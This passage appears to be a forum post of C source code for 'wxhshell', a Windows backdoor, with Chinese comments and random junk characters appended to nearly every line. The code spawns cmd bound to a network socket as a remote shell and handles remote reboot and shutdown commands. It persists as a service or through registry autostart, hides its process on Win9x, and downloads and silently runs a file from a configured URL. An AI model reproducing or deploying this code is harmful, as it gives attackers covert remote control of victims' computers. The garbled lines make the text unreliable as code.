  case '?': { 'PvOOhm,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mp3nR5@d$  
    break; a7>^^?|  
  } Wx`$hvdq  
  // 安装 Ln$= 8x^T  
  case 'i': { Z]SUr`Z  
    if(Install()) sTu]C +A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -NPX;e$<  
    else ="('  #o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GK`U<.[c  
    break; Z [YSE T  
    } MP|$+yuR~  
  // 卸载 s?Z{LWZ@  
  case 'r': { p_B5fm7#6W  
    if(Uninstall()) XY,!vLjL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M^&^g  
    else 2 {xf{)hO?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sh/4ui{  
    break; v ;nnr0;  
    } U?xa^QVhj  
  // 显示 wxhshell 所在路径 =/ +f3  
  case 'p': { tiPZ.a~k  
    char svExeFile[MAX_PATH]; {U)q)  
    strcpy(svExeFile,"\n\r"); yIu_DFq%  
      strcat(svExeFile,ExeFile); Q"s]<MtdS  
        send(wsh,svExeFile,strlen(svExeFile),0); Y#zHw< <E  
    break; RZ0+Uu/J  
    } YS bS.tq  
  // 重启 bMB@${i}  
  case 'b': { v=~+o[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Ah B)8bG  
    if(Boot(REBOOT)) ew&"n2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cS%;JV>C  
    else { a] P0PH~  
    closesocket(wsh); \gGTkH  
    ExitThread(0); gs(ZJO1 /L  
    } 6J<R;g23R]  
    break; *o=[p2d"X  
    } &9EcgazV  
  // 关机 2-%9k)KH  
  case 'd': { 0V+v)\4FE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !8*7{7  
    if(Boot(SHUTDOWN)) }_oQg_-7e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i-VnG  
    else { IOY<'t+  
    closesocket(wsh); *&~(>gNF,  
    ExitThread(0); ,0@QBr5P  
    } 6f^IAa|  
    break; M%bD7naBq  
    } ?h:xO\h8  
  // 获取shell |~B`[p]5H  
  case 's': { T*%O\&'r  
    CmdShell(wsh); v+~O\v5Q  
    closesocket(wsh); "I QM4:  
    ExitThread(0); x~ E\zw  
    break; E/2_@&U:}  
  } `Krk<G  
  // 退出 y=2nV  
  case 'x': { bh+m_$X~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pB0 SCS*  
    CloseIt(wsh); hm0MO,i"  
    break; ~{ucr#]C  
    } FK @Gd)(  
  // 离开 Mu@(^zW  
  case 'q': { WJ/X`?k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K}vYE7n:  
    closesocket(wsh); 4t 0p!IxG  
    WSACleanup(); M9.FtQhK/  
    exit(1); > .K  
    break; qb$M.-\ne  
        } 3b/J  
  } :)F0~Q  
  } '>GPk5Nq77  
-Np}<O`./  
  // 提示信息 y?UB?2 VN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RBpv40n0  
} zFr#j~L"  
  } x$z>.4  
EKUiX#p: M  
  return; /H$:Q|T}  
} A&V'WahC@I  
P}w0=  
// shell模块句柄 |<JBoE]3B  
int CmdShell(SOCKET sock) H#3Ma1z  
{ d wku6lCk  
STARTUPINFO si;  Q!(qb  
ZeroMemory(&si,sizeof(si)); Q"K`~QF"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fr#QM0--B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1sq1{|NW~  
PROCESS_INFORMATION ProcessInfo; #&Rx?V  
char cmdline[]="cmd"; Y+gNi_dE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "(iQ-g Mm  
  return 0; "}b/[U@>  
} AG|:mQO  
/k KVIlO  
// 自身启动模式 TiKfIv  
int StartFromService(void) LCqWL1  
{ S& F;~  
typedef struct x_- SAyH  
{ t')%; N  
  DWORD ExitStatus; >VJ"e`  
  DWORD PebBaseAddress; QO %;%p*  
  DWORD AffinityMask; ,L; y>::1  
  DWORD BasePriority; C?]+(P  
  ULONG UniqueProcessId; 7>3+]njw  
  ULONG InheritedFromUniqueProcessId; %<1_\N7  
}   PROCESS_BASIC_INFORMATION; WH<\f |xR  
f%yNq6l  
PROCNTQSIP NtQueryInformationProcess; X$=/H 6R5Z  
]+Z,HY@;-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >6|Xvtf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %?J-0  
&X,6v  
  HANDLE             hProcess; B;t{IYhq{  
  PROCESS_BASIC_INFORMATION pbi; (d['f]S+&  
Wu)An  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SqVh\Nn  
  if(NULL == hInst ) return 0; [j?<&^SW  
lt%9Zgr[u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ctR ^"'u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7)BK&kpVr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c1<jY~U  
,uZz?7mO  
  if (!NtQueryInformationProcess) return 0; d~y]7h|  
Y]Zp[!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UPkc-^BN  
  if(!hProcess) return 0; |21*p#>  
W(EN01d\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wq]vcY9^  
~JB4s%&  
  CloseHandle(hProcess); / }(\P@Z  
;".]W;I*O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ufN`=IJ%  
if(hProcess==NULL) return 0; x5k6"S"1,  
`82^!7!  
HMODULE hMod; "YN6o_*]  
char procName[255];  dK]#..  
unsigned long cbNeeded; %Lom#:L'  
(R!`Z%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,#hNHFa'JH  
)!5"\eys  
  CloseHandle(hProcess); -ug -rdXV  
D 1(9/;9  
if(strstr(procName,"services")) return 1; // 以服务启动 HFX,EE  
_+<AxE9\  
  return 0; // 注册表启动 G#3$sz  
} q)N^  
vAtR\ Vh  
// 主模块 Er|j\(jM  
int StartWxhshell(LPSTR lpCmdLine) Q@rlqWgU ~  
{ eY_BECJ+OO  
  SOCKET wsl;  /EwNMU*6  
BOOL val=TRUE; #yOeL3|b'  
  int port=0; Ll`nO;h  
  struct sockaddr_in door; T!|-dYYI  
P%ZU+ET  
  if(wscfg.ws_autoins) Install(); =_[Ich,}  
`&J=3x  
port=atoi(lpCmdLine); 70Ei<  
;W3c|5CE  
if(port<=0) port=wscfg.ws_port; `rpmh7*WV  
alyA#zao|  
  WSADATA data; &&Otj-n5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ki8Jl}dr  
|al'_s}I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c22L]Sxo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *7C l1o  
  door.sin_family = AF_INET; bK|nxL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;JX2ebx  
  door.sin_port = htons(port); P?zL`czWd  
hYVy65Ea  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1r<'&f5  
closesocket(wsl); 6\m'MV`R!  
return 1; &zHY0fxX  
} fjHd"!)3  
c  
  if(listen(wsl,2) == INVALID_SOCKET) { >t4<2|!(M  
closesocket(wsl); *-@@t+3  
return 1; Pk:b:(4  
} 9)'wgI#  
  Wxhshell(wsl); Q S<)*  
  WSACleanup(); V# JuNJ  
2K2_-  
return 0; B";Dj~y  
/?S,u,R  
} "gt*k#  
c/,B?  
// 以NT服务方式启动 u4Z Accj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) on f7V  
{ U)SQ3*j2D  
DWORD   status = 0; :D:J_{HJ  
  DWORD   specificError = 0xfffffff; ;RW5XnVx  
dDqT#N?Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z*WQ=l2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V""3#Tw   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2l+t-  
  serviceStatus.dwWin32ExitCode     = 0; sfC/Q"Zs  
  serviceStatus.dwServiceSpecificExitCode = 0; K?=g IC:  
  serviceStatus.dwCheckPoint       = 0; 1fV\84m^  
  serviceStatus.dwWaitHint       = 0; -\g@s@5  
{QIdeB[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]GzfU'fOn|  
  if (hServiceStatusHandle==0) return; /[|A(,N}{  
B &)wJG  
status = GetLastError(); ;z9U_  
  if (status!=NO_ERROR) hD7Lgi-N)W  
{ #G("Oh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jC'Diu4|Q  
    serviceStatus.dwCheckPoint       = 0; 5,du2  
    serviceStatus.dwWaitHint       = 0; vH{JLN2  
    serviceStatus.dwWin32ExitCode     = status; V4|l7  
    serviceStatus.dwServiceSpecificExitCode = specificError; IKnXtydeI}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qhNYQ/uS  
    return; t8Giv89{  
  } 3EyVoS6D  
m"vWu0/#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uD4$<rSHb  
  serviceStatus.dwCheckPoint       = 0; l6-%)6u>  
  serviceStatus.dwWaitHint       = 0; j8?rMD~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ki%RSW(_`  
} OZno 3Hn  
Edl .R}&1  
// 处理NT服务事件,比如:启动、停止 zC!Pb{IaH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N)X51;+  
{ ,>3|\4/Q  
switch(fdwControl) 4M>EQF&  
{ Y^'mBM#j  
case SERVICE_CONTROL_STOP: XI5q>cd\Sz  
  serviceStatus.dwWin32ExitCode = 0; e;&fO[ 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ptTp63+  
  serviceStatus.dwCheckPoint   = 0; BtKbX)R$J  
  serviceStatus.dwWaitHint     = 0; t ZA%^Y  
  { [?F]S:/i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5t"o !  
  } - s0QEQ  
  return; zG~nRt{4  
case SERVICE_CONTROL_PAUSE: $!:xjb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k#<Y2FJa  
  break; CK1gzIg>  
case SERVICE_CONTROL_CONTINUE: /Xw wB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nY_+V{F  
  break; 0zXF{5Up  
case SERVICE_CONTROL_INTERROGATE: t<znz6  
  break; .Yxf0y?uv  
}; tN&X1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*DP G\6Ma  
} !{ /AJb  
G4)X~.Fy  
// 标准应用程序主函数 e`Tssa+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O+o_{t\R  
{ ~Q5 i0s%  
8[H)t Kf8  
// 获取操作系统版本 jR{Rd}QtQ  
OsIsNt=GetOsVer(); ]D|Hq4ug  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N"2P]Z r  
x: 2 o$+v3  
  // 从命令行安装 .$"69[1H  
  if(strpbrk(lpCmdLine,"iI")) Install(); \rmge4`4  
2-gI@8NPI  
  // 下载执行文件 ?4lDoP{  
if(wscfg.ws_downexe) { B0:/7Ld$Ml  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ml9  
  WinExec(wscfg.ws_filenam,SW_HIDE); J.n-4J#@  
} i UW.$1l  
G0v<`/|>}  
if(!OsIsNt) { go5l<:9  
// 如果时win9x,隐藏进程并且设置为注册表启动 _eMY ?  
HideProc(); {&.?u1C.\  
StartWxhshell(lpCmdLine); `Qo}4nuRs  
} 4AuJ1Z  
else C9E@$4*  
  if(StartFromService()) Ozs&YZ  
  // 以服务方式启动 >A1;!kGE#  
  StartServiceCtrlDispatcher(DispatchTable); @8V~&yqq  
else gR8vF  
  // 普通方式启动 L@8C t  
  StartWxhshell(lpCmdLine); =s1Pf__<k  
#[NNb?`F  
return 0; JiCy77H  
}
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只看该作者 1 发表于: 2006-10-10
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